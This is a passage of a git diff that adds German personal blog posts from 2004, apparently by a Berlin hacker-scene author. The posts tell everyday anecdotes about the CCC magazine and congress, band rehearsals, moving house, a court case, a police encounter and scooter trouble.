12[Klampfe](http://www.helmutsworld.de/chiefgrd.jpg) beizubringen. Lieberweise hatte sie nich so ganz rechtzeitig
13bescheid gesagt, dass sie sich fuer ein Theaterstueck praeventiv lieber ins Bettchen kuscheln und vor-kurieren will.
14Aber eigentlich kannse ja nu auch nix dafuer.
153.) mit Wintersportklamotten, die ich fuer eine gar eine gute Idee hielt,
16nachdem ich bei Schneetreiben beinahe Nase und Fingerchen abgefroren hab.
17und 4.) .. und jetzt wird's abstrus: mit einem
18Bediensteten der Staatsmacht und das kam so: Gestern abend war ich ein wenig mit Freunden trinken und fand mich gegen 3 Uhr
19in der Firma wieder, in der ich eigentlich den Roller abstellen wollte. Dort erwartete mich in Form einer Nachricht im [ Messanger](http://www.chrisrueckert.de/Singendes_Telegramm.htm) mein Freund, der [
20Tom](http://www.tomster.org/), der grad alleine und verlassen zu hause am Layout fuer unser Zeitschriftenprojekt sass. Ich beschloss, ihn mit
21einem Strauss [Trosthopfen](http://www.hopfenkaltschale.de/) zu besuchen. Fruehmorgens um halb sieben ratterte
22ich dann doch noch nach hause, nur um gleich auf der Eberswalder von einem Auto ueberholt und mit einer Kelle zum Anhalten
23ueberredet zu werden. Der Beamte war in Zivil und wies mich wirklich freundlich darauf hin, dass mein Ruecklicht nicht
24funktioniere, das exterm gefaehrlich sei und frug, wohin ich denn fuehre. Nachdem er feststellte, dass er auch grob in meine
25Richtung wolle, bot er an, hinter mir zu fahren und [den Rueckraum abzusichern](http://www.frauenbuch.de/htm/fb31040128.htm),
26zudem sei "ja da hinten noch dreissig gewesen". Man stelle sich die Situation vor: ich, schwerst angetuetert, muehsam
27geradeausfahrend, sollte jetzt vor dem Polizisten, der sich echt Sorgen machte, dass ich ruecklichtslos von ruecksichtslosen
28Autofahrern ueberrollt werde, bis nach hause fahren. Aber das Schlimmste kommt noch: eine Kreuzung weiter ging mir der Motor
29aus. Einfach so. Wohl zu hohe Luftfeuchtigkeit, zu kalt, wer weiss. Hinter mir wartete der Polizist geduldig und ich muehte
30mich mit dem Elektrostarter. Nach 2 Minuten war es ihm wohl zu bloed. Ich erzaehlte ihm, dass da vielleicht was mit der Elektronik
31nicht stimmen wuerde und ich das Moped jetzt stehen liesse. - Und was passiert? Ich werde eingeladen, mit seinem Auto nach
32hause gefahren zu werden. Wer sich die Situation nicht vorstellen kann, moege sich erinnern, dass ich bis 15 Minuten zuvor noch
33froehlich Bierchen mit Tom gebechert hab. Ich konnte den Lift unmoeglich ablehnen, stellte den Roller vorm Taxistand ab und
34bemuehte mich dann im Auto, moeglichst nach rechts zu atmen. Nach 15 Minuten betont konzentriertem Palaver ueber
35[Schwalben](http://www.schwalbennest.de/vogelkunde/schwalbe.htm) (ich fuhr frueher mal eine) und deren doch noch
36"gute alte, robuste Bauart", den Friedrichshainer Sued-Kiez, Bekloppte, die auf fremden Motorhauben rumhopsen (ist mir mit
37meinem guten alten 5er zwei- oder dreimal passiert) und Mopedhaendlern im Allgemeinen, hatte ich es geschafft und konnte nach
38hause, ohne in ein Roehrchen pusten zu muessen.
39
40Nachdem sich das letzte in den Arterien rumgammelnde Adrenalin verpisst hatte, konnte ich auch ruhig einschlafen.
diff --git a/blog/2004/Blip.md b/blog/2004/Blip.md
new file mode 100644
index 0000000..993e28f
--- /dev/null
+++ b/blog/2004/Blip.md
@@ -0,0 +1,10 @@
1<!--
2.. date: 2004/05/21 23:42
3.. title: Blip
4-->
5
6Heute abend geht in [Berlin](http://www.berlin.de/), genauer gesagt: in der [C-Base](http://www.c-base.org/) die
7alljaehrliche [phneutral](http://www.ph-neutral.org/) los. Und weil der [Bert](https://www.b3rt.de/) da seinen
8Geburtstag zu feiern beginnt, guck ich da auch mal rein.
9
10Und vielleicht meld ich mich auch mal wieder oefter.
diff --git a/blog/2004/Bondage_Art.md b/blog/2004/Bondage_Art.md
new file mode 100644
index 0000000..100f21d
--- /dev/null
+++ b/blog/2004/Bondage_Art.md
@@ -0,0 +1,10 @@
1<!--
2.. date: 2004/12/30 15:59
3.. title: Bondage Art
4-->
5
6Auf dem [21c3](http://www.ccc.de/congress/2004/) hab ich mit meinem Kumpel, dem [Frank](http://frank.geekheim.de) eine [kunstvolle](http://erdgeist.org/stats/blog/pics/ShirtCam1.jpg) [Installation](http://erdgeist.org/stats/blog/pics/ShirtCam2.jpg)
7verzapft. Da jeder weiss, dass Nerds nicht an roten Buttons vorbeigehen koennen, ohne draufzubuzzen, haben wir einen mit einer Axis-Webcam verbunden und
8die Bilder der in diesem Moment hoffentlich vor der Cam praesentierten TShirts kurzerhand auf einem [Webserver](http://erdgeist.org/arts/graphic/congress-shirts/) geparkt. Die Installation wird
9uns auf der [korrespondierenden Sommerveranstaltung](http://whatthehack.org/) sicherlich noch viel Laune bringen. Auch, wenn es nicht so
10aussieht, wurde fuer die Installation nicht mehr als eine Rolle Gaffa getoetet.
diff --git a/blog/2004/Fahrradschuppen.md b/blog/2004/Fahrradschuppen.md
new file mode 100644
index 0000000..22a7abf
--- /dev/null
+++ b/blog/2004/Fahrradschuppen.md
@@ -0,0 +1,21 @@
1<!--
2.. date: 2004/07/21 00:48
3.. title: Fahrradschuppen
4-->
5
6Am Sonntag abend haben [Tom](http://tomster.org/) und ich (der ich verschwitzt von der Probe und anschliessend
7durchnaesst vom Regen, wegen viel zu wenig Klamotten frierend bei Ersterem aufschlug), die [84.
8Ausgabe](http://ds.ccc.de/) der Datenschleuder finalisiert. Habe ich "angetrunken" erwaehnt? Nicht genug, dass [meine Kapelle](http://www.pumpanickle.de/) jetzt einen Namen und eventuell auch demnaechst einen Auftritt beim [Camp Tipsy](http://www.camp-tipsy.de/) hat, wegen dessen wir am Rotieren sind, ein Set zusammenzustellen, Lieder
9spielen zu ueben und natuerlich auf der Buehne Bier trinken zu perfektionieren (gut, das mit dem [Singen](http://erdgeist.org/uploads/probenmitschnitte/040711_metoyou.mp3) sollte ich bis dahin auch noch besser
10hinbekommen, aber wahrscheinlich gibt sich das Toenetreffen mit zunehmender Biertrinstandfestigkeit.)
11
12Nein, man stelle sich nun die Freude vor, zu erfahren, dass meine Pruefung zur Vorlesung [Computergestuetze Verifikation](http://www.informatik.hu-berlin.de/top/lehre/ss04/vl_cgv/index.html) an eben dem
13zentralen Freitag des Camp Tipsy stattfindet. Ebenso habe ich meinem Opa versprochen, am darauffolgenden Samstag mit ihm zum
14Graeberpflegen zu fahren. Die Vorbereitung des [21. Congress](http://www.ccc.de/congress/) des CCC fordert gerade
15auch den ihm vesprochenen zeitlichen Tribut, die berufstaetige Arbeit rollt auf die naechste Deadline zu und ich komme nicht
16einmal mehr zum Lieblingsblogs lesen.
17
18Trotzdem wollte ich an der Stelle einen mir nicht unwichtigen Kommentar referenzieren, der mir bei der Nachbereitung der just
19fertig gestellten Zeitschrift wieder deutlichst in Erinnerung gerufen wurde. Poul-Henning Kamp zu
20[Fahrradschuppen und
21Atomkraftwerken](http://www.freebsd.org/doc/en_US.ISO8859-1/books/faq/misc.html#BIKESHED-PAINTING).
diff --git a/blog/2004/Filmzitate.md b/blog/2004/Filmzitate.md
new file mode 100644
index 0000000..b1e409b
--- /dev/null
+++ b/blog/2004/Filmzitate.md
@@ -0,0 +1,8 @@
1<!--
2.. date: 2004/05/31 23:58
3.. title: Filmzitate
4-->
5
6Die [Aerzte](http://www.bademeister.com) haben auf vielen ihrer Alben Geschmack Filme betreffend bewiesen und praegnante Audioschnipsel aus Filmen in ihre Songs eingebaut. Waehrend "Also ich, ich habe drei Jungs da draussen, die sind drauf und dran, dich alle zu machen" und "Wer sind diese Kerle? Ist das nicht ne Punkband?" aus dem leider unterschaetzten ["Super Drei"](http://www.all-good-tabs.com/print-guitar-tabs-bands-aertze-super_drei-711.html) noch ziemlich leicht dem genialen und auch unterschaetzten [UHF](http://www.imdb.com/title/tt0098546/) (deutsch: "UHF- Sender mit beschraenkter Hoffnung") zuzuordnen sind und man als Ex-Fan weiss, dass die Kettensaegengeraeusche aus ["Zum letzten Mal"](http://www.antifas.de/daten/d/dieaerzte_zumletztenmal.htm) dem Film [The Texas Chain Saw Massacre"](http://imdb.com/title/tt0072271/) entliehen wurden, brauchte ich fuer "Ich moechte eine Welt, in der Wuermer und Insekten endlich wieder schmecken. Ich moechte eine Welt, in der ich aus einer Toilette trinken kann, ohne Ausschlag zu kriegen" eine Weile. Das Zitat wird gern benutzt und den Aerzten zugeschrieben ("Der Friedenspanzer"), ist aber natuerlich aus "Die nackte Kanone 2 1/2". Gewissen beruhigt.
7
8Im Original gibt es dieses Zitat ueberhaupt nicht, dort sagt Lt. Frank Drebin "I want a world where Frank junior and all the Frank juniors can sit under a shady tree, breathe the air, swim in the ocean, and go into a 7-11 without an interpreter." Dank also dem Synchronstudio.
diff --git a/blog/2004/Gegammel.md b/blog/2004/Gegammel.md
new file mode 100644
index 0000000..a3d76ce
--- /dev/null
+++ b/blog/2004/Gegammel.md
@@ -0,0 +1,21 @@
1<!--
2.. date: 2004/03/21 18:03
3.. title: Gegammel
4-->
5
6In einer beispiellosen "Mal einen ganzen Samstag rumgammeln"-Aktion bin ich meine Erkaeltung wohl endlich groesstenteils losgeworden. Ausser einem kurzen
7Baumarktbesuch gab es nur lange Ausschlafen, Kassler, Rosenkohl und Stampfkartoffeln. Und dann heute morgen Schlendern ueber den Troedelmarkt an den Treptowers.
8Und da faengt man sich hie und da schon an zu wundern, ob nicht Maedchen so generell so ein wenig anders sind. Also wenn es so um Vasen geht, oder Kerzenstaender,
9die alle _furchtbar_ huebsch sind und in die man dann auch schonmal ein wenig Geld investieren kann. Gut. Wir haben den Balkon von Andreas neuen Wohnung mit so
10Roehricht-Blickschutz ausgehangen (so richtig schoen, typisch deutsch), wobei dann 1,40m Hoehe doch ein wenig zu abweisen herueberkam. Der Baumarkt war dann kulant
11und hat das gegen die 1,00m Variante getauscht. Leider reichte der Blickschutz nicht ganz herum, so dass fuer den Rest Blumenstauden hinmuessen. Die koennen dann
12in grosse Toepfe. Soweit, so gut. Aber warum diese Toepfe jetzt besonders schick sein muessen und was schoene Toepfe ausmacht, will mir nicht in den Kopf.
13
14Ich hingegen habe mir mal so eine Kreissaege angeguckt. Der Typ wollte 50EUR haben, also waeren wir so bei 30EUR rausgekommen. Die muss nicht besonders schoen
15sein, und da muss man auch nicht lange diskutieren, dass das ne tolle Anschaffung ist. Vor allem, wenn man eh ein Podest fuer so ein Bettchen bauen moechte. Oder
16das tolle NVA-Feldtelefon. So noch mit Kurbel dranne und einem Hoerer. Also, weil ja nur ein Telefon allein nicht so der Bringer ist, habe ichs nicht mitgenommen.
17Aber ansonsten kann man doch gegen die schnoerkellose Funktionalitaet wirklich nichts sagen. Aber gut. Wir sind dann mit einer "sehr schoenen" (Zitatende)
18bauchigen Blumenvase nach hause getappelt. Und mein bloedes Moped, was gestern bei der Fahrt zum Baumarkt den Geist mal wieder aufgegeben hat, ist immer noch in
19einem extrem fragilen Zustand. Morgen mal wieder die Werkstatt besuchen.
20
21Dem armen [Cryx](http://outpost.h3q.com/blog) gehts wohl grad nicht so besonders. Ich hab ihm mal "Schlechte Laune" von [Wizo](http://www.wizo.de) rueberwandern lassen. Mal sehen obs hilft.
diff --git a/blog/2004/Gerechte_Leiden.md b/blog/2004/Gerechte_Leiden.md
new file mode 100644
index 0000000..ed934a7
--- /dev/null
+++ b/blog/2004/Gerechte_Leiden.md
@@ -0,0 +1,13 @@
1<!--
2.. date: 2004/05/31 23:58
3.. title: Gerechte Leiden
4-->
5
6Gestern abend war ich nach einer 2-Mann Probe noch laenger mit Marion "the wall" R. [kickern](http://www.tischfussball.de/) im [Paule](http://www.paules-metal-eck.de/), schon angeheitert vom [Hinternwackeln](http://de.wikipedia.org/wiki/Schinken) im [ Kaffee Burger](http://www.kaffeeburger.de/programm.html). Ein paar [Jungs aus Hamburg](http://www.photogg.de/skan03/9-8-fischkopf.jpg) wollten uns Amateuren nun zeigen, wie man denn eigentlich
7richtig kickert.
8
9Beim Kickern gibt es den netten Brauch, ein Spiel, das man zu null verliert, mit einem demuetigen Drink fuer die Sieger zu quittieren. Das hilft ein wenig der Niveauangleichung. Und richtig: das 6. Spiel gewannen wir nicht mehr zu null.
10
11Was nun zum Problem des heutigen Nachmittags fuehrte: Bier zur Probe, Bier zur Disko, Bier im Paule und Vodka zum Kickern machen dann bei der Grillparty von Julia [sowas hier](pics/IMG_3571_k.jpg).
12
13Ich werd zu alt fuer solche Spaesse.
diff --git a/blog/2004/Geschafft.md b/blog/2004/Geschafft.md
new file mode 100644
index 0000000..d48ec9d
--- /dev/null
+++ b/blog/2004/Geschafft.md
@@ -0,0 +1,50 @@
1<!--
2.. date: 2004/02/06 00:20
3.. title: Geschafft
4-->
5
6Krank-, faul-, verpeiltheits- und auslastungsbedingt erst jetzt wieder ein Eintrag. Meine Firma hat sich leider Gottes wieder daran erinnert, dass ich da
7noch arbeite und doch da mal was tun koennte, mein [Gute-Freunde-Shellserverprojekt](http://www.datenfreihafen.de) musste dringend angefasst werden,
8weil die ersten Mitstreiter sich (zu recht, wie ich fuerchte) vernachlaessigt fuehlten. Andrea ist umgezogen, ich habe mich schlimm erkaeltet, mein Projekt [eigene Firma](http://www.7aes.com) erfordert viel Buerokratie, Rennereien zu Aemtern, etc..., [das Magazin[tm]](https://ds.ccc.de/) ist
9schon seit einem Jahr nicht mehr erschienen und muss jetzt gehoerig unter Feuer. Zudem hab ich noch ein Verfahren hinter mich gebracht, welches haette
10unangenehm teuer werden koennen. Von dem Geld hab ich mich gleich motorisiert. Aber der Reihe nach.
11
12Zur Arbeit muss/will ich nicht viel sagen. Meinen Gute-Freunde-Server habe ich mit einem automatisierten Jail-Verwaltungsverfahren augestattet, welches ich ab
13demnaechst beim [Tom](http://tomster.org/) in seinem [FreeBSD Cookbook](http://tomster.org/geek/freebsdcookbook/) dokumentieren werde.
14Unklar, warum [FreeBSD](https://www.freebsd.org/) so ein scriptset nicht von Hause aus mitbringt. Apache VHosts und WebDAV lassen sich auch
15erstaunlich leicht automatisiert konfigurieren.
16
17Andrea hat nach einer riskanten "ich kuendige erstmal die Wohnung und werde dann schon noch was finden"-Aktion doch noch eine wirklich coole Huette im
18Dreilaendereck Treptow/Kreuzberg/Neukoelln, direkt am Kanal und Goerli gefunden. Einzige Probleme sind die .. mittelmaessige OePNV- und die hundsmiserable
19GSM-Anbindung. Jedenfalls hat das 3-malige Weissen eines Zimmers und der Kueche (ja, die Farbe _war_ billig :) mich und meinen Ruecken massiv zerruettet. Von
20da ab war ich ernsthaft krank (was natuerlich auch an dem eiseskalten Wetter an diesem Tag gepaart mit meiner unpassenden Bekleidung liegen koennte). Um den
21zwei Tage spaeter stattfindenden Umzug konnte und wollte ich mich aber trotzdem nicht druecken. Zwei Leute aus der dritten in eine zweite und eine dritte
22Etage. Tags zuvor noch mit dem [Tom Bierchen und Kickern](http://tomster.org/blog/74), macht morgens doppelt so viel Spass.
23
24Ein Kuehlschrank, zwei Waschmaschinen, zwei Sofas, einen grossen Schrank, viele kleine Schraenke und _viel_ zu wenig Leute. Dank dem Philipp und der Tina,
25ohne deren selbstlose Hilfe die Aktion wohl mal ernsthaft daneben gegangen waere. (Dank natuerlich auch allen anderen Helfern, auch Ehler und so, aber die lesen
26hier eher nicht mit). Da ich der Robbefahrer war, fand ich mich dann (nach mehreren ernsthaften Ueberlegungen, dem Umzug an der Stelle einfach mal
27abzubrechen) nachts mit nur nem Pulli bei Robben&Wienjtes an der Bornholmer wieder. Ohne Kfz, frierend und schon mit dem heissen Bad im Hinterkopf, dass
28ich mir dank des von Philipp gezockten Erkaeltungsbads goennen wollte. More Viruses. Alles in allem hat sichs aber trotzdem gelohnt.
29
30Zum Projekt eigene Firma gabs eigentlich frueher schon viel zu berichten. Der Gewerbeamtsbesuch vor 3 Wochen hatte nur 2 Stunden (mit einmal durch den halben
31Bezirk zur Amtskasse geschickt zu werden) gedauert, das mit dem Finanzamt wegen zu wenig Firmenkonten (noch 0) hatte nicht geklappt. Aber inzwischen habe ich
32eins bei meiner Onlinebank [1822](http://www.1822direkt.de) ein neues Konto eroeffnet. Diese Bank ist cool. Die benutzen FreeBSD-Server, PGP-Mails,
33schicken regelmaessig Warnungen raus, was dem Durchschnitts-Windows-User grad so alles blueht und sein banking unsicher machen koennte. Und seit sie auch HTML-
34Onlinebanking machen, sind sie meine Voll-Helden. Mehr zur Firma vielleicht spaeter.
35
36Da das Chaos-Zeitungsprojekt inzwischen in einen Jahresturnus abgesackt ist, den die [Post](http://www.dpag.de) so nicht mehr hinnehmen wollten,
37mussten wir jetzt die Fuesse in die Hand nehmen. Kostet aber auch Zeit. Wo ich die bloss immer hernehm?
38
39Das Gerichtsverfahren, welches ich jetzt am Montag hinter mich gebracht hatte, drehte sich um ein angeblich unerlaubtes Entfernen vom Unfallort. Im Dezember
402001. Waehrend der erstinstanzliche Richter mich und meinen netten Anwalt, den York, wohl nicht leiden konnte, und mir fiese Sachen ins Urteil schrieb (die auch
41_echt_ teuer gekommen waeren, alles in allem wohl 3000EUR), hat die zweitinstanzliche Richterin, die auch deutlich entspannter aussah, nicht in dem haesslichen
42Neubau in Moabit, sondern im imposanten Altbau in Moabit arbeitet, nach einem Freispruch-Pladoyer... der _Staatsanwaeltin_! mir dann doch Recht gegeben.
43
44*phew* Somit komme ich nicht nur um die 3000EUR herum, die mir das erste Urteil beschert haette, neee, meine Kfz-Versicherung muss mich rueckwirkend wieder
45herunterstufen und somit >1500EUR zurueckzahlen. _DAS_ sind good news.
46
47Vor lauter Freude hab ich mir dann in der [Scooter-Box](http://www.scooterbox.de/) ein Moped gekauft. Einfach so. Nachdem mir mein erstes Kfz, eine
48Schwalbe, kaputtgefahren wurde, hab ich mir heimlich schon immer wieder einen Roller gewuenscht. Und nun hab ich einfach zugeschlagen. Fakten schaffen, nicht
49noch weiter herauszoegern. Ist eine Katana von Suzuki. Gibts keine schoenen links zu. Oder vielleicht reich ich noch welche nach. Jetzt gehe ich erstmal den
50Tag bei einem kuehlen Hopfenbraeuschen beschliessen.
diff --git a/blog/2004/Herrlicher_Laerm.md b/blog/2004/Herrlicher_Laerm.md
new file mode 100644
index 0000000..678e548
--- /dev/null
+++ b/blog/2004/Herrlicher_Laerm.md
@@ -0,0 +1,20 @@
1<!--
2.. date: 2004/02/26 15:46
3.. title: Herrlicher Laerm
4-->
5
6Ich bin heute morgen von _wirklich echt_ lauten Bauarbeiten direkt vor meinem Fenster geweckt worden. Ja, gut. ["Morgen"](https://erdgeist.org/arts/poetry/index-madkarin.html) ist vielleicht fuer 13 Uhr eine unangebrachte Bezeichnung. Aber dieser Laerm war einfach
7nur herrlich. Die zum Krach gehoerenden Typen haben naemlich [Kupferkabel verbuddelt.](http://rosengart.de/archives/000015.html) Welch Freude. Dann
8gibts wohl bald DSL.
9
10Weniger Freude hatte der [Tom mit seinem Aeltesten.](http://tomster.org/blog/95) Ich hoffe mal das Beste fuer den Kleinen. Ich war ja als Kind auch
11nicht ohne aber SOO einen Bloedsinn hab ich nicht gemacht.
12
13Die gestrige Chaosradiosendung glaenzte mit (fuer CR-Verhaeltnisse) guter Musik. Zweimal [
14Funny van Dannen, Wizo, Queen und Beatles](http://www.dasgenie.com/Pages/Chaosradio89.html). Den armen [Frank](http://frank.geekheim.de/archives/000676.html) hat es gleich zu [nostalgischen Anfaellen](http://www.nightlifeberlin.de/links.htm) hingerissen. Wenns auch nicht zu 100% was geworden ist, es
15war/ist ein cooles Projekt, oder, um es mit Steini zu sagen "wer kann schon von sich behaupten, $Geldbetrag unter seinen Freunden verteilt zu haben?" Danke
16Frank.
17
18In [seinem Blog](http://tim.geekheim.de/archive/000649.html) hat [Tim](http://tim.geekheim.de/) ueber den inflationaeren Gebrauch von
19"like" im Englischen geschrieben. Irgendwann fiel mir aber in irgendeiner Chaosradiosendung auf, dass irgendwie auch Tim irgendwelche Fuellvokabeln in irgendwie
20schon auffaelliger Form benutzt. Irgendwo muss ich aber zugeben, dass irgend* auch mir immer wieder unterrutscht. Muss ich irgendwie besser aufpassen.
diff --git a/blog/2004/Kleinkunst.md b/blog/2004/Kleinkunst.md
new file mode 100644
index 0000000..1857b9f
--- /dev/null
+++ b/blog/2004/Kleinkunst.md
@@ -0,0 +1,6 @@
1<!--
2.. date: 2004/01/23 22:16
3.. title: Kleinkunst
4-->
5
6Heute mal kein Essay, keine Retrospektive. Ich habe einen [Song](https://erdgeist.org/arts/music/Fine.mp3) fertig, mit dem ich schon seit einer Weile schwanger gehe. Wem es zu duester ist, der sei beruhigt, der hat wohl nur das Kaempferische nicht herausgehoert. Wem das der schlechten Aufnahmequalitaet wegen nicht gelang (ich habe das mit einem [iPAQ](http://www.google.de/search?q=ipaq) aufgenommen. [sorry, die Webpraesenz von Compaq/HP ist echt der Rotz und nicht verlinkbar]) der kann [hier](http://erdgeist.org/arts/music/Fine.txt) nochmal nachlesen.
diff --git a/blog/2004/Mehr_Papis.md b/blog/2004/Mehr_Papis.md
new file mode 100644
index 0000000..a333047
--- /dev/null
+++ b/blog/2004/Mehr_Papis.md
@@ -0,0 +1,8 @@
1<!--
2.. date: 2004/01/16 04:29
3.. title: Mehr Papis
4-->
5
6Auch der liebe Steini ist Vater eines 0,00341 Tonnen schweren und
7ungefaehr 0.000000000000000056022195782564539683586638220075 [Lichtjahre](http://www.magic-lunas-home.de/lichtjahre.htm)
8langen Maedchens geworden. Trend erkannt. Glueckwuensche an die Eltern.
diff --git a/blog/2004/Mit_dem_Schwert_nach_Polen.md b/blog/2004/Mit_dem_Schwert_nach_Polen.md
new file mode 100644
index 0000000..49c4ffd
--- /dev/null
+++ b/blog/2004/Mit_dem_Schwert_nach_Polen.md
@@ -0,0 +1,10 @@
1<!--
2.. date: 2004/01/18 17:15
3.. title: Mit dem Schwert nach Polen
4-->
5
6Beunruhigendes Gespraech mit meiner Mutter gehabt. Meine Mama ist Lehrerin an einem Gymnasium. Einer ihrer Schueler ist ein Kandidat fuer das [Ausleben von Gewaltphantasien](http://www.powow.com/steinhaeuser/) (link ist mit Vorsicht zu geniessen). Seine Mama ist der Meinung, der Junge _GEHOERE_ auf ein Gymnasium, ist Elternsprecherin, der Junge hingegen sammelt die Noten der schlechteren Zensurenskala. Natuerlich sind die Lehrer schuld, die den Jungen nicht genug foerdern, eine andere Schule kaeme zwar in Betracht, aber nur wieder ein Gymnasium. Der Junge ist natuerlich frustriert und weil es gerade in Mathe am deutlichsten hapert, ist meine Mutter Objekt der Projektionen von den Phantasien, die er bei SEINER Mama wohl nicht ausleben kann. Und ich sehe jetzt im Vorfeld, wie sehr sich meine Mama wirklich kuemmert, nur um dann von seiner Mama am Telefon angegiftet zu werden. Und wenn dann wirklich was passiert, dann ist die Schuldfrage schon vorher beantwortet.
7
8Was wirklich Angst macht: der Junge kommt ueblicherweise zu spaet, prahlt vor den anderen Schuelern mit den ueblichen Ankuendigungen, so dass diese sich schon genoetigt sahen, seinem Klassenlehrer bescheid zu geben. Er ist Mitglied in einem Schuetzenverein geworden und reagiert immer mehr mit hysterisch verstoertem Lachen.
9
10Und? Was macht man nun? Dies soll kein Eintrag sein, der nachher eine Rechtfertigung liefert, ála "hab ich doch vorher gesagt". Die Frage ist: Wie kann man a) dem Jungen helfen und b) meiner Mama in der Schule eine Kugel ersparen? Kommentare erbeten erdgeist at erdgeist dot org.
diff --git a/blog/2004/Nikilausi.md b/blog/2004/Nikilausi.md
new file mode 100644
index 0000000..6df9602
--- /dev/null
+++ b/blog/2004/Nikilausi.md
@@ -0,0 +1,24 @@
1<!--
2.. date: 2004/12/06 16:13
3.. title: Nikilausi
4-->
5
6Da ich heute morgen brav [meine Schuhe
7geputzt](http://www.fotocommunity.de/pc/pc/display/250852) hab (vgl. [auch hier](pics/Drecksbotten.jpg)), habe ich, wie es sich fuer
8einen ordentlichen Nerd gehoert, einen [neuen pgp-key](http://erdgeist.org/pubkey)
9gefunden.
10
11Da ich ja, [
12aus gewissen Gruenden](http://www.haukeland.no/metodebokorto/Metodebok_leger/proksimale_femurfrakturer.htm) gerade viel Zeit zu hause verbringe, war es mir ein leichtes, die [ewigen Noergler](http://www.kanubbs.de/promotion/spreewald/lrb1/jutta.jpg) zu
13besaenftigen und die [vierte Ausgabe](http://www.alkoholselbsthilfe.de/ash104.html) [des bunten Nerdmagazins](https://ds.ccc.de/) [fertigzustellen](http://www.cumschmidt.de/index.html?sm_diamant.htm).
14
15Dabei ist auch die interessante Taetigkeit bei einem wichtigen [Auftraggeber](http://www.paed.uni-muenchen.de/supra/schall/schall_untersuchen/material/3_2_2_ga_schnur.jpg)
16nicht zu kurz gekommen.
17
18Neidischmachende [Bilder](pics/Thailand/) von meiner [Abschieds](http://www.die-billigbestatter.de/)-[feier](http://www.dieaerzte.de/akkorde/gabi.txt) und dem [Traumaufenthalt](http://www.radiobremen.de/online/service/reisen/europa/balkonien.html)
19im [Ferienparadies](http://www.heute.t-online.de/ZDFheute/artikel/4/0,1367,HOME-0-2122596,00.html)
20will ich natuerlich auch nicht vorenthalten, besonders [dies hier](http://erdgeist.org/stats/blog/pics/Thailand/CIMG1645.JPG) sollte man sich an
21einem [nassen
22Herbsttag](http://www.jusos-ratingen.de/kampflieder/lieder/geburtstag.htm) besser nicht geben.
23
24Jetzt kochen, danach [Kino.](http://www.single-generation.de/film_tv/kino_die_fetten_jahre_sind_vorbei.htm)
diff --git a/blog/2004/Schlechtes_Gewissen.md b/blog/2004/Schlechtes_Gewissen.md
new file mode 100644
index 0000000..3bc251d
--- /dev/null
+++ b/blog/2004/Schlechtes_Gewissen.md
@@ -0,0 +1,132 @@
1<!--
2.. date: 2004/04/09 03:45
3.. title: Schlechtes Gewissen
4-->
5
6Mit dem Blog schreiben ist das so ungefaehr wie mit Freunde
7besuchen. Mag sein, dass es nicht jedem so geht, aber wenn _ich_ einen
8guten Freund einen Monat nicht gesehen hab (und ich auch noch schuld
9bin, weil ich "mit melden dran gewesen" waere), setzt ein Teufelskreis
10ein: man druckst herum, man traut sich vor schlechtem Gewissen gar
11nicht zu melden und will schiebt das immer noch ein bisschen raus, bis
12mal genug Zeit ist, das Treffen dann wirklich zuenftig zu zelebrieren.
13Je laenger man das sich melden nun erfolgreich nach hinten
14rausgeschoben hat, desto schlimmer wird das schlechte Gewissen und wenn
15man Pech hat, ist man irgendwann den guten Freund (dem es vielleicht
16genauso geht) los.
17
18‰Also: zuerst war da dieser Geburtstag. Inzwischen habe ich das [bemitleidenswerte Alter](#2003_10_26_02_52_Altes) von Antenne
19ebenfalls erreicht. Nichts zu beschoenigen, es geht weiter bergab. Rein
20gefeiert wurde anstaendig bei Maulwurfskuchen, viel Bier und einem
21Reisegutschein nach Prag und einem Geschenkgutschein fuer in Prag. Der
22Tag selber gestaltete sich bierentsprechend wattig. Abends gabs noch
23Besuch von Papa. Von den Eltern gab es unter anderem einen
24Sandwichtoaster. Mag sich profan anhoeren, ist aber cool. In blau.
25Harmonierend zu meinem Kuehlschrank und total nuetzlich fuer die
26Ausgewogenheit meiner Ernaehrung. Party war dann mit Angrillen fuer zwei
27Tage spaeter angesetzt. Zwischen durch gings dann zur Cebit.
28
29Ein Kollege drueckt mir einfach so eine Eintrittskarte in die Hand,
30braucht er nicht, meint er. Zugtickets gabs von Firma, Unterhaltung
31waehrend der Fahrt von [Frank](http://www.rosengart.de/) und
32auf der Cebit die Begegnung mit alten Bekannten in lustigen Verkleidungen.
33Ich kann mir nicht helfen, aber bei einigen Leuten sieht Schlips und
34Juppe einfach nach Gebrauchtwagenverkaeufer aus.
35
36Wie bei jedem Nerd, der etwas auf sich haelt, fiel auch bei mir die Kritik
37an den Hostessen negativ aus. Man weiss ja, frueher waren die alle noch
38schnuckeliger, aber da war man noch jung und alles, was nach Doppel-X
39roch, war bestaunenswert. Allerdings hoert man immer aus Dritter Hand,
40dass es an $Stand doch noch welche gegeben haben soll, die zumindest...
41hach ja. Seltsame Riten, die sich da eingebuergert haben. Frueher war man
42da ja noch zum Mousepads, Maeuse und Hardware klaun. Diesmal bin ich echt
43mit ein paar Broschueren zurueckgekommen.
44
45Tags drauf gabs chaotisches Party vorbereiten. Eigentlich wollte ich ja im
46Goerli grillen, aber da wars deutlich zu frisch. Also nach hause verlegt
47und vor dem Fenster Grill aufgestellt. David hat mich lieberweise noch zu
48diversen Fleischlappenbesorgungsanstalten gekarrt, die Grillsaison ist
49wohl noch nicht offiziell eroeffnet, da muss man schon noch suchen.
50Getraenke und Nahrung kamen dann auch nicht ganz so guenstig, aber wer
51achtet da schon drauf... Party lief ganz gut, war ziemlich voll, auch,
52weil ich mit Steffi zusammengefeiert hab und ich war ziemlich flux
53ziemlich abgeschossen. Macht man zwar nicht, auf der eigenen Party, aber
54bot sich halt an. Aufraeumen hab ich bis heute noch nicht vollstaendig
55geschafft, der Gestank ist aber schon draussen. Von Sari hab ich ein
56wirklich echt cooles gerahmtes Foto von einer ihrer Fotosafaris bekommen,
57das ich vor dem Aufhaengen nochmal scannen und hier verlinken
58werde.
59
60Zwischendurch hatte ich noch so eine Situation im Wedding. Auf dem Weg mit
61meinem Roller durch die urbane Nacht rannten mir Jugendliche entgegen, die
62Strasse entlang. Einer vornweg, andere, offensichtlich osmanischer
63Abstammung, hinterher. Neugierig, wie ich nun mal bin, hielt ich an. Das
64bewog den Vornweglaufenden, auf mich zuzukommen. Er meinte nur, dass ich
65ihn mal ganz dringend mitnehmen sollte, weil die anderen ihn gerade
66verhauen wuerden. "Die anderen" kamen dann auch mit Lederguertel in der
67Hand hinterhergerannt und rissen den jungen Mann von meinem Roller. Nach
68dem naechste Aufsattelungsversuch rissen sie ihn zusammen mit meinem
69Roller um. Fand ich gar nicht witzig und obwohl die 5 Jungs deutlich
